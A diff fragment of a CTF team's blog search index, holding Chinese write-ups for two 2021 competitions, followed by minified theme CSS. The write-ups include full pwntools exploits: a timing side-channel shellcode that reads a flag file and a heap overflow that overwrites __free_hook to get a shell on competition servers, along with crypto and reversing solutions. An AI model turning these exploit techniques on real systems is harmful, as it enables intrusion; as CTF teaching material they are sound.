poslist[i] = True data[pos_start:pos_end+1] = payload else: print(\u0026#39;Error! Range not found!\u0026#39;) exit(0) break else: pass for i in range(2460): if poslist[i] == False: print(i) cap.close() with open(\u0026#39;flag.7z\u0026#39;,\u0026#39;wb\u0026#39;) as f: f.write(data) 下标2349位置的字节未知，需要爆破一下：\nimport py7zr import os import _lzma with open(\u0026#39;flag.7z\u0026#39;,\u0026#39;rb\u0026#39;) as f: source = f.read() data = bytearray(source) for i in range(256): print(\u0026#34;Now: \u0026#34;+str(i)) data[2349] = i with open(\u0026#39;flag%d.7z\u0026#39;%(i),\u0026#39;wb\u0026#39;) as f1: f1.write(data) try: with py7zr.SevenZipFile(\u0026#39;flag%d.7z\u0026#39;%(i), \u0026#39;r\u0026#39;, password=\u0026#39;nss_yyds!\u0026#39;) as archive: if archive.test() == True or archive.test() == None: print(\u0026#39;Found:\u0026#39; + str(i)) break else: os.remove(\u0026#39;flag%d.7z\u0026#39;%(i)) except (py7zr.exceptions.Bad7zFile, _lzma.LZMAError) as e: print(e) os.remove(\u0026#39;flag%d.7z\u0026#39;%(i)) 运行结果是194，将flag194.7z解压得到flag.png\n解码为5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d\nciphey一把梭：\nflag{6095B134-5437-4B21-BE52-EDC46A276297}\n","date":"2021-12-06T19:23:41+08:00","image":"https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/Top%2010%20Teams_hu9bd851d71a6520395d404c81ac536fbe_87588_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/","title":"2021暗泉杯 Writeup"},{"content":"Misc 溯源取证——张三的电脑 下载得到压缩包，经过判断类型后得知是 VMDK 文件，用 vmware 挂载。其中得到了 zhangsan.001 和 zhangsan.ad1.txt 两个文件\nwinhex挂载 zhangsan.001，在分区1的 $RECYCLE.BIN 中找到 tips.txt.txt 文件，内容为\nIn order to prevent leaving evidence, Zhang San deleted all the key evidence photos. 因此寻找 png 文件，同样在分区1的 $RECYCLE.BIN 中找到了包含相应的 flag 图片 $REFK9A1.png\nPwn secretcode 掏出初赛的代码稍微改改\nfrom pwn import * import sys # context.log_level = \u0026#34;debug\u0026#34; context.arch = \u0026#39;amd64\u0026#39; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) def pwn(p, index, ch): # open shellcode = \u0026#34;push 0x1003caaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;\u0026#34; # re open, rax =\u0026gt; 4 shellcode += \u0026#34;and ecx,0x15;inc ecx;\u0026#34; shellcode += \u0026#34;s:push 2; pop rax; push rcx;syscall; pop rcx;loop s;\u0026#34; # read(rax, 0x10040, 0x50) shellcode += \u0026#34;mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;\u0026#34; # cmp and jz if index == 0: shellcode += \u0026#34;cmp byte ptr[rsi+{0}], {1}; jz $-3; ret\u0026#34;.format(index, ch) else: shellcode += \u0026#34;cmp byte ptr[rsi+{0}], {1}; jz $-4; ret\u0026#34;.format(index, ch) shellcode = asm(shellcode) pay = shellcode.ljust(0x40 - 4, b\u0026#39;a\u0026#39;) + b\u0026#39;flag\u0026#39; log.warning(hex(len(pay))) p.sendafter(\u0026#34;==\\n\u0026#34;, pay) index = 0 ans = [] while True: for ch in range(0x20, 127): try: if debug: p = process(\u0026#34;./chall\u0026#34;) else: p = remote(\u0026#39;47.104.169.149\u0026#39;, 25178) pwn(p, index, ch) start = time.time() p.recv(timeout=2) except: pass end = time.time() p.close() if end - start \u0026gt; 1.5: ans.append(ch) print(\u0026#34;\u0026#34;.join([chr(i) for i in ans])) break else: print(\u0026#34;\u0026#34;.join([chr(i) for i in ans])) break index = index + 1 print(ans) print(\u0026#34;\u0026#34;.join([chr(i) for i in ans])) p.interactive() babynote abs32的洞，直接上下无限堆溢出\nfrom pwn import * import sys context.log_level = \u0026#34;debug\u0026#34; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./chall\u0026#34;) libc = ELF(\u0026#34;/home/daidaishou/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6\u0026#34;) else: p = remote(\u0026#34;47.104.169.149\u0026#34;,\u0026#34;14269\u0026#34;) libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) def menu(i): sla(\u0026#39;\u0026gt; \u0026#39;, str(i)) def add(sz, c): menu(1) sla(\u0026#39;size\u0026gt; \u0026#39;, str(sz)) sa(\u0026#39;msg\u0026gt; \u0026#39;, c) def free(i): menu(3) sla(\u0026#39;idx\u0026gt; \u0026#39;, str(i)) def edit(i, offset, c): menu(2) sla(\u0026#39;idx\u0026gt; \u0026#39;, str(i)) sla(\u0026#39;offset\u0026gt; \u0026#39;, str(offset)) sa(\u0026#39;msg\u0026gt; \u0026#39;, c) def show(i): menu(4) sla(\u0026#39;idx\u0026gt; \u0026#39;, str(i)) debugf() add(0x29c, b\u0026#39;Chunk_0\\n\u0026#39;) add(0x200, b\u0026#39;Chunk_1\\n\u0026#39;) add(0x78, b\u0026#39;Chunk_2\\n\u0026#39;) add(0x21f, b\u0026#39;Chunk_3\\n\u0026#39;) add(0x18, b\u0026#39;/bin/sh\\n\u0026#39;) edit(0, 0x80000000, b\u0026#39;\\x07\u0026#39;*0x5e + b\u0026#39;\\n\u0026#39;) free(1) edit(3, 0x80000000, b\u0026#39;a\u0026#39;*0x52 + p64(0x80+0x210) + p64(0x230) + b\u0026#39;\\n\u0026#39;) free(3) add(0x200, \u0026#39;Chunk_1\\n\u0026#39;) show(2) libc.address = u64(rv(6) + b\u0026#39;\\x00\u0026#39;*2) - 0x3ebca0 log.warning(hex(libc.address)) free_hook = libc.sym[\u0026#39;__free_hook\u0026#39;] edit(0, 0x80000000, b\u0026#39;\\x01\u0026#39;*(12+0x80)+p64(free_hook)*0x60 + b\u0026#39;\\n\u0026#39;) add(0xd8, p64(libc.sym[\u0026#39;system\u0026#39;]) + b\u0026#39;\\n\u0026#39;) free(4) p.interactive() Re abc 动调，发现输入主要是进入一个case语句\n__int64 __fastcall sub_401406() { char *v0; // rax int v1; // ecx v1 = *v0; switch ( v1 ) { case \u0026#39;#\u0026#39;: // 右 return sub_400A65(); case \u0026#39;$\u0026#39;: // 上 return sub_40085B(); case \u0026#39;%\u0026#39;: // 左 return sub_400B6D(); case \u0026#39;@\u0026#39;: // 下 return sub_40095D(); } sub_4013EE(); return sub_400C6F(); } 分别查看四个函数，发现主要是将内存中的-1与另一个数据进行交换\n最后的验证逻辑为\nv10 = __ROR4__(__ROL4__(0x75DFBD5B, 15) ^ 0xDEADBEEF, 10);// 1 for ( i = v10; i \u0026lt; 15; i = i - 84 + 85 ) { sub_400CBA(); if ( box[i] - box[i - 1] != 1 ) v10 = __ROR4__(__ROL4__(0x7DDFBD5B, 15) ^ 0xDEADBEEF, 10); } 内存中总共有16个数字，猜测是一个十六格的拼图\n1, A, 2, 3, 5, D, 6, 4, 9,-1, 7, B, E, F, C, 8 其中-1可以上下左右交换位置\n手动解一下，远程验证\n$$##@@%%$##@@%$$#@%%%@#$%@##$%%@##$%@#$#@ executable_pyc 工具还原字节码，根据字节码手动恢复出python脚本，得到加密逻辑\ndef e2(m): assert type(m) == bytes l = len(m) // 2 m1 = s2n(m[:l]) m2 = s2n(m[l:]) p = gen_prime(1024) q = gen_prime(1024) pp = g.next_prime(p + 2333) qq = g.next_prime(q + 2333) e = g.next_prime(65535) ee = g.next_prime(e) n = p * q nn = pp * qq c1 = n2s(pow(m1, e, n)) c2 = n2s(pow(m2, ee, nn)) print (str(n), nn.digits(), (c1 + c2).hex()) 后面就是解密码题了，需要找出p和q\n因为素数的频率大概在​ $\\ln(n)$ 的时间复杂度，所以​ $pp$ 和 $p$ ​以及 $qq$ ​和 $q$ ​的差距很小，大概在 $​p+2333+\\ln(p)$ 附近。\n所以让 $pp=p+x, qq=q+y$​。有 $n=pq, nn=pp*qq=(p+x)(q+x)=n+py+qx+xy$\n让 $dn=nn-n=py+qx+xy=py+xn/p+xy$​，有 $yp^2+(xy-dn)p+xn=0​$\n如果让 $​p$ 有解，则让 $\\Delta=(xy-dn)^2-4xyn=x^2y^2-2\\cdot dn\\cdot xy+(dn)^2-4xyn\u0026gt;0$ ​且能够保证 $\\Delta$​开出整数方根。函数如下\ndef qiugen(x, y, dn): cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n cur_root = root(cur, 2) if cur_root ** 2 == cur: up = dn - x * y + cur_root if up % (2 * y) == 0: ans = up // (2 * y) return ans return -1 然后开始遍历​x,y，考虑到素数频率，可以大致确定x,y范围为[2333, 2333+1024]​。将其范围扩展到[2333, 4333]​。这样遍历的范围在4000000次qiugen函数运算。\n考虑到​nn确定，所以​x,y之间应该满足某种条件。​\n$\\Delta=x^2y^2-2dn\\cdot xy+(dn)^2-4xyn=h^2-(2dn+4n)h+(dn)^2$，其中$h=xy$​。如果需要让​$\\Delta\u0026gt;0$，需要$h\u0026lt;dn+2n-2*sqrt(dn\\cdot n+n^2)$，约为6174696​。\n所以可以令x遍历[2333,4333]，令y遍历[2333,6174696/x]​，即可找到真正的​x,y。即可得到p,q,pp,qq​。\nfrom Qmath import root from libnum import * from gmpy2 import next_prime ​ n = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593056153329019331663146921270200309620591339456771948171473174493228003768777355758929283942611167959313149646888081882056633536206394514157657102927145569575772516981907153659054180860331268989018643271316833183194539111739812416472551511615664022982639779869597584768094658974144703654232643726744397158318139843 nn = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593061197309859493502461339998035893727381543475878482841368750058482267744297318087515308976122481608145274938058888809506400916026737269420025654685431401793700398817215185170304169141953786566489760847593258253794575454082327627379713144072687287826518630644255675609067675836382036436064703619178779628644141463 cipher = 0x22cca5150ca0bb2132f68302dc7441e52b91ae7252e44cc13ed83e58253a9aaaa55e095ba36748dff7ea21fff553f8c4656e77a508b64da054f1381b7e2d0600bcec6ed9e1cc8d14c2362aaef7a972a714f88e5afb2d39ed77d0c22a449ca2cfb0802c138f20e0ecbd3c174151cdb8e8ca6d89aa3c503615ebfbc851af5ac51dcfa8b5869b775b57a27b9e4346979180d89b303cae2c5d9e6cabb3c9947837bd8f92333532d4b54dd72ea35400060006328f6f4329147df195ec78a7ab9d39973ce0fd6511e7a0de54737bee64476ba531604f0375b08adf7d768c41ba9e2ba88468d126561a134de79dc0217c1c56d219ca6747103618e46f35281feb9e6050c93e32e26e21ee2c3495f60db2fad9f9a5c570c9f97aee698024ebff6163ef26e32958872db7c593d7f41f90981b8db45aa01085be1e61f7603ecf3d5c032dd90dea791cd9825299548c0cbe7dadabc157048a7fd5cd4bcb1cfeaf0bd2d679f66cb0b1c33ec04bd20317f872c85d500a3475833f983fdee59b3f61a731e2a8b9a60bd7d840f46e97f06dd4fd8ad1cb4d13a82da01938801c33835ceaf34e1cf62ebdde7ac68b17c2a236b64ffacd2a0e7258571ce570871aea9f309df63c0a3abcfa0c05d159a82f9fa3f3ad73944e4ae33c3432c8b65c0d6fe9b560220b14abe5886188fc1e6afa4bb4395669618387224422acf20b519af902225e270 ​ dn = nn - n ​ def qiugen(x, y, dn): cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n cur_root = root(cur, 2) if cur_root ** 2 == cur: up = dn - x * y + cur_root if up % (2 * y) == 0: ans = up // (2 * y) return ans return -1 ​ ​ for x in range(4333, 2333, -1): if (x - 2333) % 100 == 0: print x for y in range(6174700 // x, 2332, -1): cur_ans = qiugen(x, y, dn) if cur_ans != -1: print cur_ans if n % cur_ans == 0: p = cur_ans q = n // p print cur_ans pp = next_prime(p + 2333) qq = next_prime(q + 2333) print (n2s(pow(c1, invmod(0x10001, (p - 1) * (q - 1)), p * q))) print (n2s(pow(c2, invmod(0x10003, (pp - 1) * (qq - 1)), pp * qq))) Crypto crack point 已知椭圆曲线正常加密，key的位数过小，大步小步法爆破2的39次方到2的40次方寻找key=436370150383，算出\npoint2 = (54874480268135442592960451774606422130 : 54593336491331150503709607435043296744 : 1)\nflag = cipher - point_2得到最终点\n","date":"2021-11-05T16:23:41+08:00","permalink":"https://or4ngesec.github.io/post/bluehat-final-writeup/","title":"2021蓝帽杯决赛 Writeup"}] \ No newline at end of file diff --git a/scss/style.min.css b/scss/style.min.css index aab6122..8a87696 100644 --- a/scss/style.min.css +++ b/scss/style.min.css @@ -2,7 +2,7 @@ * * @author: Jimmy Cai * @website: https://jimmycai.com -* @link: https://github.com/CaiJimmy/hugo-theme-stack*/[data-scheme=light]{--pre-text-color:#272822;--pre-background-color:#fafafa}[data-scheme=light] .chroma{color:#272822;background-color:#fafafa}[data-scheme=light] .chroma .err{color:#960050}[data-scheme=light] .chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}[data-scheme=light] .chroma .lntable{border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block}[data-scheme=light] .chroma .hl{display:block;width:100%;background-color:#ffc}[data-scheme=light] .chroma .lnt{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=light] .chroma .ln{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=light] .chroma .k{color:#00a8c8}[data-scheme=light] .chroma .kc{color:#00a8c8}[data-scheme=light] .chroma .kd{color:#00a8c8}[data-scheme=light] .chroma .kn{color:#f92672}[data-scheme=light] .chroma .kp{color:#00a8c8}[data-scheme=light] .chroma .kr{color:#00a8c8}[data-scheme=light] .chroma .kt{color:#00a8c8}[data-scheme=light] .chroma .n{color:#111}[data-scheme=light] .chroma .na{color:#75af00}[data-scheme=light] .chroma .nb{color:#111}[data-scheme=light] .chroma .bp{color:#111}[data-scheme=light] .chroma .nc{color:#75af00}[data-scheme=light] .chroma .no{color:#00a8c8}[data-scheme=light] .chroma .nd{color:#75af00}[data-scheme=light] .chroma .ni{color:#111}[data-scheme=light] .chroma .ne{color:#75af00}[data-scheme=light] .chroma .nf{color:#75af00}[data-scheme=light] .chroma .fm{color:#111}[data-scheme=light] .chroma .nl{color:#111}[data-scheme=light] .chroma .nn{color:#111}[data-scheme=light] .chroma .nx{color:#75af00}[data-scheme=light] .chroma .py{color:#111}[data-scheme=light] .chroma .nt{color:#f92672}[data-scheme=light] .chroma .nv{color:#111}[data-scheme=light] .chroma .vc{color:#111}[data-scheme=light] .chroma .vg{color:#111}[data-scheme=light] .chroma .vi{color:#111}[data-scheme=light] .chroma .vm{color:#111}[data-scheme=light] .chroma .l{color:#ae81ff}[data-scheme=light] .chroma .ld{color:#d88200}[data-scheme=light] .chroma .s{color:#d88200}[data-scheme=light] .chroma .sa{color:#d88200}[data-scheme=light] .chroma .sb{color:#d88200}[data-scheme=light] .chroma .sc{color:#d88200}[data-scheme=light] .chroma .dl{color:#d88200}[data-scheme=light] .chroma .sd{color:#d88200}[data-scheme=light] .chroma .s2{color:#d88200}[data-scheme=light] .chroma .se{color:#8045ff}[data-scheme=light] .chroma .sh{color:#d88200}[data-scheme=light] .chroma .si{color:#d88200}[data-scheme=light] .chroma .sx{color:#d88200}[data-scheme=light] .chroma .sr{color:#d88200}[data-scheme=light] .chroma .s1{color:#d88200}[data-scheme=light] .chroma .ss{color:#d88200}[data-scheme=light] .chroma .m{color:#ae81ff}[data-scheme=light] .chroma .mb{color:#ae81ff}[data-scheme=light] .chroma .mf{color:#ae81ff}[data-scheme=light] .chroma .mh{color:#ae81ff}[data-scheme=light] .chroma .mi{color:#ae81ff}[data-scheme=light] .chroma .il{color:#ae81ff}[data-scheme=light] .chroma .mo{color:#ae81ff}[data-scheme=light] .chroma .o{color:#f92672}[data-scheme=light] .chroma .ow{color:#f92672}[data-scheme=light] .chroma .p{color:#111}[data-scheme=light] .chroma .c{color:#75715e}[data-scheme=light] .chroma .ch{color:#75715e}[data-scheme=light] .chroma .cm{color:#75715e}[data-scheme=light] .chroma .c1{color:#75715e}[data-scheme=light] .chroma .cs{color:#75715e}[data-scheme=light] .chroma .cp{color:#75715e}[data-scheme=light] .chroma .cpf{color:#75715e}[data-scheme=light] .chroma .ge{font-style:italic}[data-scheme=light] .chroma .gs{font-weight:700}[data-scheme=dark]{--pre-text-color:#f8f8f2;--pre-background-color:#272822}[data-scheme=dark] .chroma{color:#f8f8f2;background-color:#272822}[data-scheme=dark] .chroma .err{color:#bb0064}[data-scheme=dark] .chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}[data-scheme=dark] .chroma .lntable{border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block}[data-scheme=dark] .chroma .hl{display:block;width:100%;background-color:#ffc}[data-scheme=dark] .chroma .lnt{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=dark] .chroma .ln{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=dark] .chroma .k{color:#66d9ef}[data-scheme=dark] .chroma .kc{color:#66d9ef}[data-scheme=dark] .chroma .kd{color:#66d9ef}[data-scheme=dark] .chroma .kn{color:#f92672}[data-scheme=dark] .chroma .kp{color:#66d9ef}[data-scheme=dark] .chroma .kr{color:#66d9ef}[data-scheme=dark] .chroma .kt{color:#66d9ef}[data-scheme=dark] .chroma .na{color:#a6e22e}[data-scheme=dark] .chroma .nc{color:#a6e22e}[data-scheme=dark] .chroma .no{color:#66d9ef}[data-scheme=dark] .chroma .nd{color:#a6e22e}[data-scheme=dark] .chroma .ne{color:#a6e22e}[data-scheme=dark] .chroma .nf{color:#a6e22e}[data-scheme=dark] .chroma .nx{color:#a6e22e}[data-scheme=dark] .chroma .nt{color:#f92672}[data-scheme=dark] .chroma .l{color:#ae81ff}[data-scheme=dark] .chroma .ld{color:#e6db74}[data-scheme=dark] .chroma .s{color:#e6db74}[data-scheme=dark] .chroma .sa{color:#e6db74}[data-scheme=dark] .chroma .sb{color:#e6db74}[data-scheme=dark] .chroma .sc{color:#e6db74}[data-scheme=dark] .chroma .dl{color:#e6db74}[data-scheme=dark] .chroma .sd{color:#e6db74}[data-scheme=dark] .chroma .s2{color:#e6db74}[data-scheme=dark] .chroma .se{color:#ae81ff}[data-scheme=dark] .chroma .sh{color:#e6db74}[data-scheme=dark] .chroma .si{color:#e6db74}[data-scheme=dark] .chroma .sx{color:#e6db74}[data-scheme=dark] .chroma .sr{color:#e6db74}[data-scheme=dark] .chroma .s1{color:#e6db74}[data-scheme=dark] .chroma .ss{color:#e6db74}[data-scheme=dark] .chroma .m{color:#ae81ff}[data-scheme=dark] .chroma .mb{color:#ae81ff}[data-scheme=dark] .chroma .mf{color:#ae81ff}[data-scheme=dark] .chroma .mh{color:#ae81ff}[data-scheme=dark] .chroma .mi{color:#ae81ff}[data-scheme=dark] .chroma .il{color:#ae81ff}[data-scheme=dark] .chroma .mo{color:#ae81ff}[data-scheme=dark] .chroma .o{color:#f92672}[data-scheme=dark] .chroma .ow{color:#f92672}[data-scheme=dark] .chroma .c{color:#75715e}[data-scheme=dark] .chroma .ch{color:#75715e}[data-scheme=dark] .chroma .cm{color:#75715e}[data-scheme=dark] .chroma .c1{color:#75715e}[data-scheme=dark] .chroma .cs{color:#75715e}[data-scheme=dark] .chroma .cp{color:#75715e}[data-scheme=dark] .chroma .cpf{color:#75715e}[data-scheme=dark] .chroma .gd{color:#f92672}[data-scheme=dark] .chroma .ge{font-style:italic}[data-scheme=dark] .chroma .gi{color:#a6e22e}[data-scheme=dark] .chroma .gs{font-weight:700}[data-scheme=dark] .chroma .gu{color:#75715e}:root{--body-background:#f5f5fa;--accent-color:#34495e;--accent-color-darker:#2c3e50;--accent-color-text:#fff;--body-text-color:#bababa;--tag-border-radius:4px;--section-separation:40px;--scrollbar-thumb:hsl(0, 0%, 85%);--scrollbar-track:var(--body-background)}@media(min-width:768px){:root{--main-top-padding:35px}}@media(min-width:1280px){:root{--main-top-padding:50px}}:root[data-scheme=dark]{--body-background:#303030;--accent-color:#ecf0f1;--accent-color-darker:#bdc3c7;--accent-color-text:#000;--body-text-color:rgba(255, 255, 255, 0.7);--scrollbar-thumb:#424242;--scrollbar-track:var(--body-background)}:root{--sys-font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", "Droid Sans", "Helvetica Neue";--zh-font-family:"PingFang SC", "Hiragino Sans GB", "Droid Sans Fallback", "Microsoft YaHei";--base-font-family:"Lato", var(--sys-font-family), var(--zh-font-family), sans-serif;--code-font-family:Menlo, Monaco, Consolas, "Courier New", monospace}:root{--card-background:#fff;--card-background-selected:#eaeaea;--card-text-color-main:#000;--card-text-color-secondary:#747474;--card-text-color-tertiary:#bababa;--card-separator-color:rgba(218, 218, 218, 0.5);--card-border-radius:10px;--card-padding:20px;--small-card-padding:25px 20px}@media(min-width:768px){:root{--card-padding:25px}}@media(min-width:1280px){:root{--card-padding:30px}}@media(min-width:768px){:root{--small-card-padding:25px}}:root[data-scheme=dark]{--card-background:#424242;--card-background-selected:rgba(255, 255, 255, 0.16);--card-text-color-main:rgba(255, 255, 255, 0.9);--card-text-color-secondary:rgba(255, 255, 255, 0.7);--card-text-color-tertiary:rgba(255, 255, 255, 0.5);--card-separator-color:rgba(255, 255, 255, 0.12)}:root{--article-font-family:var(--base-font-family);--article-font-size:1.6rem;--article-line-height:1.85}@media(min-width:768px){:root{--article-font-size:1.7rem}}:root{--blockquote-border-size:4px;--blockquote-background-color:rgb(248 248 248);--heading-border-size:4px;--link-background-color:189, 195, 199;--link-background-opacity:0.5;--link-background-opacity-hover:0.7;--pre-background-color:#272822;--pre-text-color:#f8f8f2;--code-background-color:rgba(0, 0, 0, 0.12);--code-text-color:#808080;--table-border-color:#dadada;--tr-even-background-color:#efefee}:root[data-scheme=dark]{--code-background-color:#272822;--code-text-color:rgba(255, 255, 255, 0.9);--table-border-color:#717171;--tr-even-background-color:#545454;--blockquote-background-color:rgb(75 75 75)}:root{--shadow-l1:0px 4px 8px rgba(0, 0, 0, 0.04), 0px 0px 2px rgba(0, 0, 0, 0.06), 0px 0px 1px rgba(0, 0, 0, 0.04);--shadow-l2:0px 10px 20px rgba(0, 0, 0, 0.04), 0px 2px 6px rgba(0, 0, 0, 0.04), 0px 0px 1px rgba(0, 0, 0, 0.04);--shadow-l3:0px 10px 20px rgba(0, 0, 0, 0.04), 0px 2px 6px rgba(0, 0, 0, 0.04), 0px 0px 1px rgba(0, 0, 0, 0.04);--shadow-l4:0px 24px 32px rgba(0, 0, 0, 0.04), 0px 16px 24px rgba(0, 0, 0, 0.04), 0px 4px 8px rgba(0, 0, 0, 0.04), +* @link: https://github.com/CaiJimmy/hugo-theme-stack*/[data-scheme=light]{--pre-text-color:#272822;--pre-background-color:#fafafa}[data-scheme=light] .chroma{color:#272822;background-color:#fafafa}[data-scheme=light] .chroma .err{color:#960050}[data-scheme=light] .chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}[data-scheme=light] .chroma .lntable{border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block}[data-scheme=light] .chroma .hl{display:block;width:100%;background-color:#ffc}[data-scheme=light] .chroma .lnt{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=light] .chroma .ln{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=light] .chroma .k{color:#00a8c8}[data-scheme=light] .chroma .kc{color:#00a8c8}[data-scheme=light] .chroma .kd{color:#00a8c8}[data-scheme=light] .chroma .kn{color:#f92672}[data-scheme=light] .chroma .kp{color:#00a8c8}[data-scheme=light] .chroma .kr{color:#00a8c8}[data-scheme=light] .chroma .kt{color:#00a8c8}[data-scheme=light] .chroma .n{color:#111}[data-scheme=light] .chroma .na{color:#75af00}[data-scheme=light] .chroma .nb{color:#111}[data-scheme=light] .chroma .bp{color:#111}[data-scheme=light] .chroma .nc{color:#75af00}[data-scheme=light] .chroma .no{color:#00a8c8}[data-scheme=light] .chroma .nd{color:#75af00}[data-scheme=light] .chroma .ni{color:#111}[data-scheme=light] .chroma .ne{color:#75af00}[data-scheme=light] .chroma .nf{color:#75af00}[data-scheme=light] .chroma .fm{color:#111}[data-scheme=light] .chroma .nl{color:#111}[data-scheme=light] .chroma .nn{color:#111}[data-scheme=light] .chroma .nx{color:#75af00}[data-scheme=light] .chroma .py{color:#111}[data-scheme=light] .chroma .nt{color:#f92672}[data-scheme=light] .chroma .nv{color:#111}[data-scheme=light] .chroma .vc{color:#111}[data-scheme=light] .chroma .vg{color:#111}[data-scheme=light] .chroma .vi{color:#111}[data-scheme=light] .chroma .vm{color:#111}[data-scheme=light] .chroma .l{color:#ae81ff}[data-scheme=light] .chroma .ld{color:#d88200}[data-scheme=light] .chroma .s{color:#d88200}[data-scheme=light] .chroma .sa{color:#d88200}[data-scheme=light] .chroma .sb{color:#d88200}[data-scheme=light] .chroma .sc{color:#d88200}[data-scheme=light] .chroma .dl{color:#d88200}[data-scheme=light] .chroma .sd{color:#d88200}[data-scheme=light] .chroma .s2{color:#d88200}[data-scheme=light] .chroma .se{color:#8045ff}[data-scheme=light] .chroma .sh{color:#d88200}[data-scheme=light] .chroma .si{color:#d88200}[data-scheme=light] .chroma .sx{color:#d88200}[data-scheme=light] .chroma .sr{color:#d88200}[data-scheme=light] .chroma .s1{color:#d88200}[data-scheme=light] .chroma .ss{color:#d88200}[data-scheme=light] .chroma .m{color:#ae81ff}[data-scheme=light] .chroma .mb{color:#ae81ff}[data-scheme=light] .chroma .mf{color:#ae81ff}[data-scheme=light] .chroma .mh{color:#ae81ff}[data-scheme=light] .chroma .mi{color:#ae81ff}[data-scheme=light] .chroma .il{color:#ae81ff}[data-scheme=light] .chroma .mo{color:#ae81ff}[data-scheme=light] .chroma .o{color:#f92672}[data-scheme=light] .chroma .ow{color:#f92672}[data-scheme=light] .chroma .p{color:#111}[data-scheme=light] .chroma .c{color:#75715e}[data-scheme=light] .chroma .ch{color:#75715e}[data-scheme=light] .chroma .cm{color:#75715e}[data-scheme=light] .chroma .c1{color:#75715e}[data-scheme=light] .chroma .cs{color:#75715e}[data-scheme=light] .chroma .cp{color:#75715e}[data-scheme=light] .chroma .cpf{color:#75715e}[data-scheme=light] .chroma .ge{font-style:italic}[data-scheme=light] .chroma .gs{font-weight:700}[data-scheme=dark]{--pre-text-color:#f8f8f2;--pre-background-color:#272822}[data-scheme=dark] .chroma{color:#f8f8f2;background-color:#272822}[data-scheme=dark] .chroma .err{color:#bb0064}[data-scheme=dark] .chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}[data-scheme=dark] .chroma .lntable{border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block}[data-scheme=dark] .chroma .hl{display:block;width:100%;background-color:#ffc}[data-scheme=dark] .chroma .lnt{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=dark] .chroma .ln{margin-right:.4em;padding:0 .4em;color:#7f7f7f}[data-scheme=dark] .chroma .k{color:#66d9ef}[data-scheme=dark] .chroma .kc{color:#66d9ef}[data-scheme=dark] .chroma .kd{color:#66d9ef}[data-scheme=dark] .chroma .kn{color:#f92672}[data-scheme=dark] .chroma .kp{color:#66d9ef}[data-scheme=dark] .chroma .kr{color:#66d9ef}[data-scheme=dark] .chroma .kt{color:#66d9ef}[data-scheme=dark] .chroma .na{color:#a6e22e}[data-scheme=dark] .chroma .nc{color:#a6e22e}[data-scheme=dark] .chroma .no{color:#66d9ef}[data-scheme=dark] .chroma .nd{color:#a6e22e}[data-scheme=dark] .chroma .ne{color:#a6e22e}[data-scheme=dark] .chroma .nf{color:#a6e22e}[data-scheme=dark] .chroma .nx{color:#a6e22e}[data-scheme=dark] .chroma .nt{color:#f92672}[data-scheme=dark] .chroma .l{color:#ae81ff}[data-scheme=dark] .chroma .ld{color:#e6db74}[data-scheme=dark] .chroma .s{color:#e6db74}[data-scheme=dark] .chroma .sa{color:#e6db74}[data-scheme=dark] .chroma .sb{color:#e6db74}[data-scheme=dark] .chroma .sc{color:#e6db74}[data-scheme=dark] .chroma .dl{color:#e6db74}[data-scheme=dark] .chroma .sd{color:#e6db74}[data-scheme=dark] .chroma .s2{color:#e6db74}[data-scheme=dark] .chroma .se{color:#ae81ff}[data-scheme=dark] .chroma .sh{color:#e6db74}[data-scheme=dark] .chroma .si{color:#e6db74}[data-scheme=dark] .chroma .sx{color:#e6db74}[data-scheme=dark] .chroma .sr{color:#e6db74}[data-scheme=dark] .chroma 